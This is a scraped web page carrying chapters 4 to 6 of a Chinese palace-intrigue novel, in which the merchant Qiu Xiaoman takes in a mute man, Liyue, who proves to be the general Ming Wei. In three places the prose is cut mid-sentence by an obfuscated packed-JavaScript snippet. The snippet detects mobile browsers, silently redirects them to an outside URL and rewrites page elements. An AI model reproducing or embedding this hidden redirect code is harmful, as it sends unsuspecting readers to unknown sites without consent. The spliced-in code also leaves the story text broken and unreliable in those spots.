住店的客人限于两日内搬离,临时落脚的就干脆劝说住到城南的一个平价的小客栈去。 两日对秋萧曼来讲倒也够了,她不想长留,打算尽快返回雯桦去将听到的消息告诉雯桦王。 “去和卫光说一声,两日后动身时,把回程的东西都采买好。”秋萧曼上楼,路过卫光房间时交代,这意思就是让公山贺立刻去传话。 公山贺脚下一转,正要敲卫光的房门,就听里面传来话语声。 “这些瑰矿能换不少银子,自此你好自为之。” 公山贺正琢磨卫光在跟谁交流,一道劲风就已从身侧绕过。 没等反应,秋萧曼已用力推开了挡在他面前两扇厚重木门。 4. 离月 屋内的人因此看过来。 公山贺才讶于几步外,卫光对面正站了个墨发披散,身量修长的男子,正在穿衣的动作被打断。 他白袍上不见一点褶皱,显然是新买的,外面还罩着件裘皮斗篷。素雅洁净的颜色将男人细腻雪肤和惊为天人的容颜映得宛若玉雕的珍宝,光是站着不动就能摄人心魂。 可在秋萧曼看来,男人凤目漆黑,却无奸猾的浑浊,毫无躲闪的眼睛深邃有神。 这样子哪像个摇尾乞怜的妩媚宠儿,反倒是个器宇不凡,有着雄浑气魄的血性男子… “谁准你救他的?!” 公山贺还被男人容貌吸引时,秋萧曼厉声责问已脱口,她疾步带来的微风令公山贺想起眨眼,缓解眼睛酸胀。 卫光没想到秋萧曼这么快回来,向前一步挡在男人身前,欲对秋萧曼抱拳解释。 “退开!” 秋萧曼直接将他拨到一边,高亢有力的声音暴露了她此刻震怒。 知道已彻底触了秋萧曼逆鳞,卫光不敢再反抗,神色不定从她面前挪开,还没站稳就被公山贺拉去秋萧曼身后。 男人面前没了遮蔽,硬生生与走到跟前的人对视。 一时间,屋内静地可怕,每次呼吸都仿佛能带来无法估量的狂风暴雨。 男人主动避开视线,春山般的长睫垂下,做足乖巧。 秋萧曼却不依不饶,背着手绕男人走了一圈,压着火气缓缓讥讽:“这年头,男人也靠美色才能活?” 男人低着头,嘴唇紧闭。 “对了,你不会说话?” 秋萧曼突然想起卫光昨晚说的。 但她不好骗,半信半疑地将视线下移落在他袖口处。此时广袖白洁,根本看不出伤口何在,她索性攥起昨晚印象中染了血的手臂,将藏在内的手掌露出来。 那只手修长白皙,骨节根根分明,手掌上虽遍布了些茧子,却不像常年拿武器留下的那般厚重。 这只手看上去完美极了,只可惜小指断了一半,此时正被纱布包裹着,仍有血将白纱布洇地斑驳。 “属下知错!” 猜测到秋萧曼欲将试探的心思,卫光紧张兮兮辩驳,“我实在拗不过自己的良心,决定救下他那一刻,属下就想到了后果。” 秋萧曼并未理会他,仿若未闻,清澈如泉的杏仁眼始终紧盯着男人的脸,似乎想找出破绽。 卫光依旧在解释自己将男人藏了一晚的因由,还解释为什么要给他瑰矿。可秋萧曼依旧保持审视,无动于衷。 反观男人却显得极为镇定,无暇的脸上竟连惊恐都看不到,只乖巧的等待着目下的审判结果。 不知是不是卫光滔滔不绝的辩解让秋萧曼再无耐心,她忽然加大力道狠狠捏住男人的手腕,直到男人的手充血泛红逐渐透出淡紫,湿热的液体终于冲开小指的伤口,瞬间将包裹小指的纱布完全洇红。 公山贺扯扯卫光的袖子,示意他闭嘴。 就听秋萧曼突然开口,冷漠地问男人:“疼么?” 男人脸色煞白,紧抿着唇点头。 秋萧曼却毫无怜悯之意,恶狠狠道:“哑巴是最好装的!只要不说话,谁也不能破开你嗓子看看是不是真的坏了喉咙!” 男人眉心微微拢起,似是感到疼痛却不发一声,他强忍着不适吞咽口水,豆大的汗珠已从额头冒出。 但秋萧曼丝毫没打算收手,另只空闲的手也在他毫无防备时伸过去,紧紧捏在了男人断指溢血的位置。 男人的五官瞬间拧作一团,原本傲立的松骨也终于敌不过伤口迸发出的痛彻心扉,连着心的剧痛让他再支撑不住昂首站立,腿一软就完全泄力地跪倒在地。 这堪比用刑的试探让身后的两人不约而同抽了口凉气,谁都不敢再出声规劝。 瞧着男人被疼痛击倒依旧不发一语,秋萧曼这才满意地收手,居高临下审视着呼吸都变急促的男人。 “还真是个哑巴?” 听出她有松口的迹象,公山贺赶忙打圆场:“肯定是哑巴,好好的人哪能一声也不吭。” 秋萧曼这才绕开他,在公山贺和卫光纷纷舒气时,坐到旁边的圈椅上,语气也随之缓和。 “去寻个郎中,给他好好瞧瞧。” 两个时辰后,医术精湛的郎中将男人伤口敷了药又重新包扎。公山贺拉着卫光一同去送,顺道还去药铺子抓了趟药。 屋内只剩下男人和秋萧曼。 因着秋萧曼沉默地对视,气氛再度陷入针落可闻的紧张中。 “叫什么名字?” 秋萧曼边问边往男人身边丢了叠纸还有根笔。 男人看上去虚弱无力,拿笔都显得吃力。 他右手小指才包扎好,只能用左手歪七扭八地写下【离月】两个字。 “离,月?”秋萧曼瞅着歪七扭八的字迹,“倒像个艺名。” 离月点头,又写: 【所以被主人遗弃】 【因为丧】 ... 仆从的名字多是主人起的,不喜欢改了就是,直接将人扔了想必是个喜怒无常的人。 秋萧曼又问:“主人何许人?” 【富商】 离月的手很疼,豆大的汗珠滴在纸上,瞬间洇湿墨迹,但他继续写: 【破败的商人】 【养不起我】 ... 这离月的姿色和气质都是上上成,能寻到这样的宠儿恐怕是花了大价钱的,就更别提日复一日的豢养了。 也难怪落魄成这样还带着猖狂,想是平日被娇宠惯了。 秋萧曼观察离月一笔一划努力书写,即便疼痛难忍,也会坚持写完每一个字,绝不会半途中止。 倒是个坚强倔强的人。 “怎么得罪主人,能剁了你手指?” 问到伤口,离月不再像之前那般畅快淋漓地直接下笔,此时倒显得犹豫。 秋萧曼理解这种情绪,毕竟对于普通人来讲身上留块疤都能怨怼一辈子,更何况丢了半根手指,还是个靠脸吃饭的人。 不愿回忆那些不快也实属正常。 但秋萧曼并不打算放弃,对于一个突然闯进自己生活的完全陌生的人,她要了解地越全越好。 屋里再次陷入安静,只有沙漏里流动的沙子发出细微的簌簌声。 离月抬头,犹豫地朝秋萧曼看过去,仿佛在确认是否真的要知道。见秋萧曼没有任何反应,他无奈低头,重新落笔。 【这种事老板还是不知道的好】 “欲盖弥彰?”秋萧曼不接受这个理由,“在外行走多年,还没什么事我听不得的。” 离月没法子,只得加快笔速,但碍于是左手书写,也快不到哪去。 秋萧曼看他奋笔疾书,起身给自己倒了杯茶,走到离月身侧仔细阅读他写的小段落。 大体意思就是离月自知相貌出众,若不是自小患哑疾,恐怕也不会落得个男宠的下场。即便如此,他也是个衷心耿耿的奴隶。 但主人朝三暮四,花重金娶了个青楼女子,就把他搁在一边,任他自生自灭。 富商经常不在,那个出身青楼的女人无聊就总去找他,富商知道后勃然大怒,妓子为了自保就说是离月勾搭自己。富商便更觉离月是丧门星,自己生意失败也怪罪到他头上。 为了保全颜面,他本想把离月净了身再撵出门,但家里没人下得去手,最后就逼着宰鸡的老婆子砍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598213|171932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉离月半根手指,而后将他赶了出去。 读完这一段,秋萧曼也刚好将茶喝完,她捏着杯子的手仍旧摩擦杯壁,也因此陷入思考。 离月将笔放在一旁,转了转发酸的手腕,抬头去看秋萧曼的表情,可却没从她那张冷漠的脸上读到一丝动容。 秋萧曼走开,将杯子放回原处,又落座。 她不是会轻易相信谁的人,更别提这个完全陌生的男子。 但不论他写的这些是真是假,秋萧曼看出他想表达的无非是忠诚。 “确实可惜了这副好皮囊。”秋萧曼慢条斯理地说,“若能找个好主人,倒也不辜负你糟的这些罪。” 离月仿佛感到欣慰,目光柔和点头。 就在这时,公山贺和卫光刚好回来,两人推门而入时,就看地上铺了几张写满字的纸。 公山贺率先好奇走过去看纸上的内容,但歪七扭八的字迹着实看得费尽。没等读完,他便开口打趣:“这么俊的脸,字写成这样?” 秋萧曼视线正落在刚进门的卫光身上,似是有话想说。 离月也趁着她没注意自己才扭脸去看弯着腰的公山贺,两人视线刚好碰到一起。 面对公山贺这个身材高大魁梧的人,离月眼中可丝毫没有半分畏惧,他甚至连断指带来的疼痛都被隐藏地极好,此时赤裸裸地对视,那双深邃的眼里所展现的睨视反倒让公山贺觉得自己说错了话而感到心虚。 莫名其妙的感受让公山贺不自然地避开目光,再看回去时离月已转移视线,温和的目光又落回秋萧曼身上了。 也不知是因这个倔强的眼神,还是今日见到秋世朝的缘故,公山贺忽然忆起一个遗忘已久的人,直起身时感慨。 “老板许久不帮陌生人了。” 秋萧曼因这话挪回眼,想对卫光说的话也暂且咽下,她立刻明白公山贺说得是谁。 “吃一堑长一智,年少无知时吃了亏,难道还不长记性?” 卫光对此感到好奇,想借此向公山贺了解背景。 公山贺倒是敞亮,没等他问便说,“离月算是运气好。你不知道,老板曾经从疯狗嘴里救下个少年,第二日就被那少年污蔑,说是我们老板放狗咬的他。” 毕竟没经历过的人也不会有感同身受的情绪,卫光恍然秋萧曼为什么见死不救,而跪在地上的离月也只是淡淡地看着那个高坐的女人。 秋萧曼对这段回忆没什么特别的感受,她只觉得不屑,嫌弃的口吻:“品性与他那仆从相比可是大相径庭!” “啊?”公山贺吃惊,还是第一次听秋萧曼这样讲,他确认:“日日找老板打架的那个?” 秋萧曼没说话。 “那条疯狗!要不是后来跟着他们家主子搬走了,我琢磨怎么打断他的腿!”公山贺提起那人颇为气愤,此刻更是撸起袖子来。 “你?”秋萧曼质疑,“可能还真不是他对手。” “...” 从秋萧曼嘴里说出这样的话,那可是极大的赞赏了。公山贺不服气,但也不会在这个事上较真,毕竟那人都不知道死哪去了,恐怕这辈子都不会再见到。 见秋萧曼此时不再盛怒,卫光轻咳一声暗示公山贺问问秋萧曼接下来什么安排。 公山贺将地上的纸一一捡起,读过。 “离月身世这么惨,老板要不带他一同走吧?” 几人不约而同看向仍跪在地上的离月,他那双明亮的眼里满是期待,落在秋萧曼冷冰冰的脸上。 只不过这一次,秋萧曼没有拒绝这个提议,她只是沉默下来,仿佛在仔细思考这么做的利弊。 而后,她只对卫光交代:“两日后我们天亮就启程,你尽快把出行的东西准备好。” 5. 送礼 翌日早,公山贺按照秋萧曼的嘱咐将一箱矿石换了银子送去秋府,折返时正巧碰上带着卫光出门采买的秋萧曼。 只不过卫光看上去情绪不高涨,公山贺帮忙拿东西的时候悄悄打听,才知秋萧曼因着他私自救下离月的事让他回去后自行去驯马营看一个月的马,再罚三个月的俸禄。 “罚的这么重?”公山贺显然也没想到秋萧曼动了真格,否则也不会把官阶这么高的将领调去驯马营,让手下的小兵看了,还如何树立威信… 卫光倒也不抱怨,毕竟自己做错了事,受罚也是应该的。 “就是三个月的俸禄...家里得揭不开锅了。” 公山贺没忍住笑他也担心起生计问题,手臂搭他肩膀上,埋汰:“大嫂要知道你被个男人迷成这样,会不会离家出走?” 瞧他幸灾乐祸的样子,卫光瞥了他一眼,澄清:“跟相貌无关,长成你这样的晕倒在我眼前,我也会救。” “哎!你小子!”公山贺气愤地拍了他胸脯一下,“我长相怎么了?长得敦实,但看着靠谱。” “别逗了。”卫光不服气,“也就仗着你跟将军一同长大,否则有你吃饭的份吗?” 公山贺反驳:“你就是嫉妒我。” 卫光不屑,提紧手中的几包重物。 “三个月我接济你?”公山贺态度缓和,“好歹也干了件救人的好事。” 卫光依旧生闷气,不理他。 “你就说用不用?不用拉倒,我养离月去。” 这是主动给自己铺了台阶,卫光破愁为笑。 “先谢过兄弟!” 毕竟大男人没向谁低过头,他语气生硬却也调侃起公山贺:“话说你也只能养养我。” “?”公山贺笑容一收。 “离月你是养不起的。”卫光坏笑起,颇有种反败为胜的意思。 两人挤眉弄眼的样子正好落在转过身的秋萧曼眼里,但她却更留心两人身后的一处武器铺子。 注意到秋萧曼神色肃然望着人群尽头,公山贺和卫光收敛松散,急忙上前几步。 秋萧曼立刻朝那方向扬了扬下巴,两人跟着望过去,只见几张熟悉的面孔正在武器铺中热情交谈,此外还有昨日在戏楼看到的木良畴。 “看来檀原的武将来了不少。”卫光率先反应过来,“那几个人是京都御卫营的,上次随使臣来檀原就是他们负责将军的护卫。” 秋萧曼面色沉重,提醒:“隔这么远,你能认出他们,他们自然也能认出你。” 言罢,她已转身往客栈走。 “不过是调任到武星做个县令,小小的官职,这么多人来贺。”公山贺和卫光紧跟其后,说得小心翼翼,“说是首辅的侄孙,看上去倒像是举足轻重的存在。” 卫光赞同这个说法,“木良畴是不会离开明蔚单独行动的。就连明蔚都到了,想必是个关键人物。” 这时他们三个人再逗留下去着实不明智。 秋萧曼返回客栈,却发现住店的客人不似前几日都是风尘仆仆的游商或行旅,今日落座厅堂的更多的是穿戴整齐又习惯打官腔的人。 许是她一个女子带着两个又高又壮的侍从太过惹眼,堂内交谈的客旅朝他们这望过来,秋萧曼才立刻交代卫光去装车。 待堂内又恢复如初,她也找了处不起眼的边角坐下来。 几日不曾修剪过胡须的公山贺在秋萧曼对面坐下,他倒不担心被谁认出,毕竟此时此刻的样子过于邋遢。 他扫了眼狭窄楼梯上上下下的客人,知道秋萧曼没急着上楼也是担心惹眼被认出,还不如先坐下来静观其变。 出去一上午,这时候饥肠辘辘,公山贺叫了几个菜,将头上的棉帽摘下放在手边,耳朵没了厚物遮挡也能听清周围人的闲谈。 这时候满堂都是议论新上任的县令彦项文的。 “...彦大人不仅是首辅的侄孙,也是陛下想要着重培养的人才。如今他因个妓子改邪归正,不得讲究些排场。” “都说浪子回头金不换,别说陛下给了莫大的颜面,听说明将都到了。” “明将?”一个看上去精明的人窃笑,“我可不信明将是为了贺喜来的。” “难说。”另一个青年也觉得新奇,揣测:“听说彦大人爱慕的女子本是雯桦人。你说,明将是不是想借此挑出个事端?” “你说他想找个由头去打雯桦?” “堵住雯桦那位侧王妃的嘴嘛!陛下想收雯桦又不是一两日了,如今就等着个合适的机会发难,否则明将为何这时来武星?他可不喜欢武星的干冷。” “武星城离雯桦的荣邸五关是最近的。”那人赞同的口吻,“难不成这次彦大人办升迁宴也是受了首辅的暗示?想跟明将来个里应外合?” “嗨——即便平时闹得再凶,这时候也不会掣肘的吧?都说雯桦人睡觉都枕在瑰矿上,那可是块肥肉啊!” ... 秋萧曼脸色变得更差了。 她没什么胃口,只喝了些粥,却依旧留意着堂内的变化和交谈。 “我们要不要下午就离开?”公山贺也罕见地露出一脸忧色。 秋萧曼的确在考虑这个事情,她想尽快默默离开,不被任何人发现。 瞧着卫光从马厩的方向回来,公山贺招呼他过去吃东西,秋萧曼才趁着此时楼梯上下没什么人而率先上了楼。 只不过心事重重。 若被明蔚知道她此时在武星,只怕她就回不去了… 心不在焉地穿过长廊,当她推开房门时,一股清新的丁香味随着贯通的风扑面而来。 正要关窗的离月恰好转身,舒朗俊逸的面容和举手投足的贵气让愁眉不展的秋萧曼也下意识松了眉心。 离月朝秋萧曼露出个浅淡的笑,继续将窗子关上,才朝秋萧曼走来。 “手指好了?” 秋萧曼关上门,注意到几步外的茶几上放置了一个插着丁香的花瓶,她俯身去闻那簇拥在一起的小白花,更舒心了些。 寒冬腊月的,也不知离月从哪寻的丁香。 但碍于他是哑巴,秋萧曼没想深问,只注意到走近的离月将手露出,包裹手指的纱布上已看不到血迹。 他手指恢复地快,秋萧曼也是欣慰的。 不知是不是这花香的缘故,秋萧曼也敞开心扉多说了两句:“我喜欢丁香,家里就种了两棵。” 手边没有纸和笔,离月没法表述想法,只得用手势简要比划。 那意思应该是他擅长养花草。 见他处境惨淡,依旧坚定乐观的态度,秋萧曼稍有动容,安慰地拍了拍他肩膀。 看出她对自己的欣赏,离月也同时露出浅淡的笑。 不得不说,他长得极好,好到多看一眼都会为之沉醉。 男人如此,女人亦是如此。 这也让秋萧曼理解了为什么君王们会沉迷美色,不能自拔,更理解了为什么他贵。 秋萧曼从他身边走开,脸上的笑意消失,随之而来的是一种无法形容的失意。 她示意离月坐下,突然这般礼待,倒让习惯了察言观色的离月预感到了不好的事。 秋萧曼稍加犹豫,才平稳开口:“你知道,我只是个小游商,没有什么雄厚的实力带你走。” 离月当即明白了这话背后的意思。 期待的明眸因此混入一种复杂的情绪,像是担心秋萧曼看出他坚韧被击倒的惆怅,他连忙垂眸,遮掩情绪。 他此时的安静说明了一切。 秋萧曼心有不忍,却也没什么好办法:“你长得好,性格又这般细腻,我便自作主张,替你选了户好人家。” 话音才落,公山贺和卫光刚好敲门进来。 许是在门外听到了这个安排,两人进屋后不免与秋萧曼确认对离月的安排,救了离月的卫光更是心急如焚:“老板不带他走?” 秋萧曼思考了下,才说:“到处都是官员,带着离月着实不便。” 这么说倒也没错。 一个女人带着两个彪形大汉都已那样扎眼,就别说再带个相貌这么出奇的男宠了。万一被谁注意到,深扒背景,可是再麻烦不过。 尤其,木良畴和那群武将还在附近。 卫光理解秋萧曼的难言之隐,但把离月一个人丢在这,他心里实在过意不去。 “老板准备把他送去哪?” “昨日我们去戏楼,见到了明蔚身边的木将军。”秋萧曼缓缓道,“他带走了明蔚最宠爱的戏子,想必明蔚当下也是在武星的。” 秋萧曼依旧努力维持着卑微商人的姿态,想是因为要送离月走,所以不能露出一丝破绽,却没发现坐她对面的离月眉心忽然微不可察地跳了两下。 “老板是想,将离月送给明蔚???” 卫光再次确认,甚至觉得秋萧曼这个决定太荒谬。 见秋萧曼犹豫地皱起眉,公山贺忙帮她解释,“离月的哑疾也不可能送去戏班。众所周知,明蔚从不欺压弱小,送过去想必是离月的最好归宿了。” 卫光却反驳:“众所周知明蔚还凶残呢!那些被他剿灭的小国里,哪个俘虏不是弱小?抽筋剥骨的事难道听得还少吗?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598214|171932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公山贺:“好歹离月也是檀原人…” “那又如何?”卫光仍不能妥协这个安排,“他是个哑巴,如今手指又断了!跟着个富商都能落得这样的下场,送去明蔚府不等于让他去送死吗?!” “不是——你别激动。”公山贺试图安慰,“这不是没有更好的办法嘛!” “怎么没有?我偷偷把他藏到车里,不行吗?” “这武星城里到处都是官员,何况木良畴的人在,出城进城只会查得更严!万一出了问题,将——” “——就这么定了,我们风餐露宿地凑合惯了,离月适应不了。” 听着公山贺险险说漏了嘴,秋萧曼赶忙打断。 她语气决绝,卫光和公山贺都意识到方才的疏忽,因而不敢再继续争论下去。 秋萧曼目露责备地审视两个副将的失态,又挪眼去瞧离月此时的心灰意冷,对公山贺说:“平白无故送个人去明蔚那多少得遭人嫌弃。” 她想了想,补充:“提箱礼物换成银票一并送去吧。明蔚富庶不在意那点东西,倒是够离月自保用了。” 这么安排终于让卫光再也说不出什么,他虽然担心离月往后的日子,但目下看来秋萧曼自身难保,确实不适合带着个男人四处招摇。 安全返回雯桦才是当务之急。 公山贺赞同秋萧曼的决定,但又顾虑:“一来一回的要废不少功夫,今日启程怕是…” 秋萧曼走去窗边推开窗子,视线依旧落在武器铺走出来的一众武将身上,“今日来不及了,明日天一亮就动身。” ^ 半日的功夫,公山贺按照事先安排带着一大箱银票将离月送去了明蔚在武星置办的明府。 每日来送礼的人多到数不过来,这几日犹甚。军卫早已见怪不怪,顺利收下了姿容佼佼的离月和那些钱财。 公山贺离开时,把那日戏楼里木良畴发的小银锭也一并留给了离月。 和那箱银票相比,这自然不算什么,但他希望这可以作为离月的护身符。 毕竟是出自明蔚府,若明蔚能认出那小银子,或许能借着离月也喜欢苍舒雅而获得善待。 公山贺离开后,离月被两个军卫带到一个门房附近的漆黑小屋,这个房间没有陈设家具,到处都是大大小小的装满礼品的木箱。 离月就这样被当做礼物存放在了这个毫无人气的房内,无人问津。 直到太阳落山,窗外的暮色将小屋完全拢进黑暗,小屋才再次传来声响。随着一阵清脆的铁锁声,有人偷偷摸摸推门走进来。 “这么漂亮的人呐。”来人穿着一身厚实的棉衣,举着个油灯,照亮离月刚睡醒的睡眼朦胧,“真是哑巴吗?!这时候还能睡得着?” 语气毫无怜悯,而是透着种嘲笑的奸诈。 他不友善,未拿油灯的手在离月脸上摸了一下,又顺着去揉他耳朵,还没进一步再做更过分的事,那只不安分的手就已被离月狠狠攥住。 没等他反应,就听手腕传来一阵骨头的脆响,再回过神,手腕彻底碎了。 刺耳的惨叫声瞬间惊扰了整个将府,门外看守的军卫进来捉人,就看一人担惊受怕地坐着,另一人疯了似的在地上打滚。 小吏疼地说不出半个字,就指着离月嗯嗯啊啊了半晌,稍验查才知是手腕碎了。 可再怎么问离月,他也不说话,找门卫一查,才知是下午送来的哑巴。 好歹是在明蔚府,发生这样的事实在是前所未有的。 军卫立刻去报了刚从客栈送完幕僚回来的木良畴,他同样觉得新奇,想看看这个送来的哑巴究竟是什么来头。 但也只是图个乐,毕竟木良畴这几日过得并不舒心。 自那日明蔚突然离开,他就彻底失去了这个人的消息,至今都下落不明。 他转身从桌上取了些果脯放在嘴里,试图用酸甜的滋味缓解自己的心绪不宁。没多久,凌乱的脚步声冲进房间,他这才慢条斯理地边咀嚼边转身。 谁知在看到被军卫押送进屋的离月瞬间,他脑袋里‘轰’的一声炸开,愣是目瞪口呆地僵在原地。 送离月来的军卫不明所以,连忙轻轻唤了他两声,木良畴这才回过神,一改震惊的表情急促又严肃地说了个:“出去!” 也不知这副将是怎么了,军卫犹豫地松开押解离月的手,面面相觑退出房间。 待门再次关上,脚步声走远,木良畴那颗悬着的心终于落下。 他立即单膝跪地,行了个巨大的礼。 “明将这是去哪了?!可让我好找...” 6. 关押 明蔚舒了口气缓缓闭上眼,沮丧的神色覆满整张脸。 他抬起头,仰面呆了片刻,才转了转脑袋,抬手去解裘皮披风的脖扣。 “真能耐,跟来武星…” 明蔚声色清越,语气淡淡,话里话外透着不爽。 可木良畴哪能不急呢? 几日前,也不知发生了什么,明蔚睡醒一觉竟披头散发地出了门,后来才发现屋内还有滩血迹和断了一半的小指头。 “苍老板在武星,属下以为明将会来寻苍老板。”他赶忙解释,生怕惹恼了性情不定的人。 厚重的披风从明蔚肩头滑落,摊在他脚边。紧接着他又松了松束腰,走去木椅旁歪歪斜斜坐下。 “我和他有关系么?” 木良畴错愕地去瞧明蔚的表情,在这之前他可是往苍舒雅身上砸了不少银子。 以为两人闹了什么嫌隙,木良畴试图做个和事老:“我把苍老板请来府上了,要不我将他喊来?” “来干嘛?”明蔚着实不解,“添堵?” 这话噎的木良畴无话可讲。 他也不敢问明蔚去哪了,更不敢问明蔚怎么就成了一个游商送来的宠儿,遑论还是个、哑巴?? 可明蔚呢,丝毫不在意谁的眼光,更别提解释一二。他脑袋懒懒搭在椅背上,欣赏着他那根包成粽子的小手指,不知在想什么。 明蔚不吭声,木良畴自然也没动弹,只试图琢磨他心思。 他跟着明蔚这么些年,深知他的喜怒无常,诡秘莫测。 但毕竟是并肩作战的战友,他对明蔚的态度从未掺入丝毫的惧怕,更多的是熟悉,是默契。 他自诩是最了解明蔚的人,就因为他是唯一一个知道明蔚相貌的人。 但自那日看到明蔚自己剁掉的半根小指后,木良畴彻底迷茫了。 所有人都说明蔚是个没有尺度没有边界的疯子,木良畴本是不赞同的,但当他重新审视了自己对这个人的认知后,他甚至觉得藏在那张完美皮囊下的不仅仅是疯和狂,甚至可能还有他不了解的邪恶和阴毒? 他就是个魔鬼,就像那些被他剁了手脚,剔肉断骨的王宗俘虏说的那样。 “彦项文调来武星做县令。”明蔚突然开口,打断木良畴思考。 可即便才会过神,他也听出这语气中没有打探或质疑,更多的是、厌恶? 木良畴心里多了几分防备,毕竟明蔚可不是关心这些事的人,却仍如实禀报:“听说后日要在家中摆席,宴请前来恭贺的人。” “哦——”明蔚话音一转,“不得送份礼?” 木良畴这下彻底摸不准明蔚的脉,他什么时候也开始研究这些官场礼节了? “是...末将这就去准备…” 瞧木良畴起身,明蔚才意识到自己的指令传达的不准确,手落下的同时将几上一把水果刀顺带着丢了过去,顽劣的态度问:“县令会破案子吧?” “?”木良畴不明所以。 “总也不能白白让彦大人收买那么多人心。”明蔚手臂搭在扶手上,他笑地并不违心,木良畴却知道这话里有话,只听明蔚继续说:“礼尚往来,我明蔚府上死人了可是大事!” ^ 冰冷的夜晚,秋萧曼再次坠入无尽的梦魇。 梦里她看着一个又一个熟悉的将领倒在血泊里,自己用尽了力气也无法抵挡破城而入的银甲明军。 萧萧风吟和嘶鸣马啼无一不在讲述着末日的来临。 秋萧曼身中数箭,强撑着身体倚在歪斜的旗杆上,鲜血顺着皮肤纹理流进双眼,继而又冲进苦涩的口中。 入目之处皆烧成残垣断壁,乌泱泱的银甲冲着王廷的方向挺近,但她再也无能为力,拿着红枪的手颤抖不停,呼吸都成了煎熬。 汹涌的血继续冲进喉咙,继而扑进肺里,她彻底喘不上气,直到落入绝望的一刻从梦中再次惊醒。 过于真实的梦境让她呼吸急促,手卡在脖子上适应地咳了几声。再也无法入睡,秋萧曼起身走向窗前。 她推开窗,发现天色刚蒙蒙亮,随手扯了件披挂,在窗边坐下。冷风徐徐拍打在身上,渐渐吹干浮于表皮的虚汗。直到她感觉有些冷,才仿佛摆脱了心头沉重,轻轻打了个寒战。 想要关窗,极好的耳力却忽听到一阵嘈杂的脚步声由远处传近。 这么早,公鸡都还没打鸣。 不知什么事这么紧急,秋萧曼好奇地探出脑袋看,就见排列整齐的一群小吏正举着火把将客栈围地严密。 显然是出什么事了。 她赶忙穿好衣服想下楼去打听打听,刚出门就碰到摇铃而来的掌柜,没来得及问询,就听掌柜急忙放声提醒:“快收拾收拾,死人了...死人了...” 这时候死人?? 强烈的不安让秋萧曼心里忐忑,与此同时,公山贺和卫光也纷纷从房间里走了出来。 听到摇铃声陆续走出来的住客一头雾水,有人衣衫都没穿齐整,睡眼朦胧地开口问:“死的什么人?总也不能把我们都抓走?!” 掌柜此刻更是焦头烂额,眉心的川字纹刻上的一样。 “明将府上的小吏死在马厩了...” “啊?”众人瞠目结舌,一时间廊内可炸了锅一样的嘈杂。 掌柜提高音调,试图盖过住客们的议论纷纷。 “照章办事,官府的人要把大家都请回去问话。清者自清,最多也就三日。” 言罢,秋萧曼目色一凉,就听卫光压低了声音在身后嘀咕了句:“麻烦,这回可走不掉了…” 秋萧曼隐隐觉得这事不简单。怎么这么巧,偏偏在她们要启程的节骨眼发生这种事? 下午才让公山贺把离月送去明蔚府,夜里明府的人就死在客栈了?? 怎么想都觉得匪夷所思。 秋萧曼当即设想了几种可能。 一,离月讨得明将欢心,出卖了她们? 但这么做有什么意义呢? 离月不知道她们的身份,明蔚若想探知,直接将他们抓去不是更加一目了然? 二,离月并未讨得明蔚欢心,甚至触碰了明蔚逆鳞?所以连累了她们? 也不对。 豢养男宠本就不是搬上台面的事,明蔚何至于为了个宠儿大动干戈? 木良畴昨日亲自送了几个武将来客栈,明蔚不可能不知这里面住的都是朝中官员。这时惹怒这些吐沫星子都能杀人的官吏,对他又有什么好处? 三,单纯的朝堂之争?冲着彦项文来的? 就像昨日那些官吏猜测的,明蔚并不是真心来祝福,而是找茬? 若是内斗起来,雯桦倒是有一丝喘息的功夫,可若是因着这个事封了城可就不妙了。依明蔚处事风格,难不成是想趁着这次机会,给首辅一个重重的打击? 那为什么不是在明日升迁宴上做文章?偏偏要从客栈下手? 秋萧曼想不通,但她知道这一定是明蔚的阴谋。 “你送离月去明府时,有人怀疑你身份吗?”秋萧曼侧过脸,小心翼翼问公山贺。 “没有。”公山贺答得斩钉截铁,显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598215|171932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他已经回忆过昨日明府外的细节了,“送礼的人太多,门卫没什么质疑,离月长得又那么好,他们当即就收了。” “会不会是哪个武将认出咱们了?”卫光也猜测,同时又借着所站的位置昏暗,仔细瞧了瞧廊子里议论纷纷的官员,确实有交头接耳的人时不时往他们这边瞧。 这也是秋萧曼担心的事。 昨日满城都是进进出出的官宦,木良畴又与那些相熟的武将在客栈聊了一下午,秋萧曼本还庆幸没在昨日下午离开。 但此刻她心中忐忑,却也不得不硬着头皮应对,目下没有任何逃脱的机会。 死的人不是普通人,而是明蔚府的小吏。彦项文新上任,又在这么多官员的眼皮子底下,必然得给出个完美的答案才能保住颜面。 这期间,只怕会将客栈的住客仔仔细细调查一遍。 避免再节外生枝,秋萧曼压着声音对卫光说:“我们三个不能都被带走,有个人要留在外面支援。” 卫光领会她的意思,悄悄颔首:“按檀原律,这种事最多扣留一日,找不到证据他们就会放人的。” 公山贺:“若是三日没放出来,你就先回雯桦。” 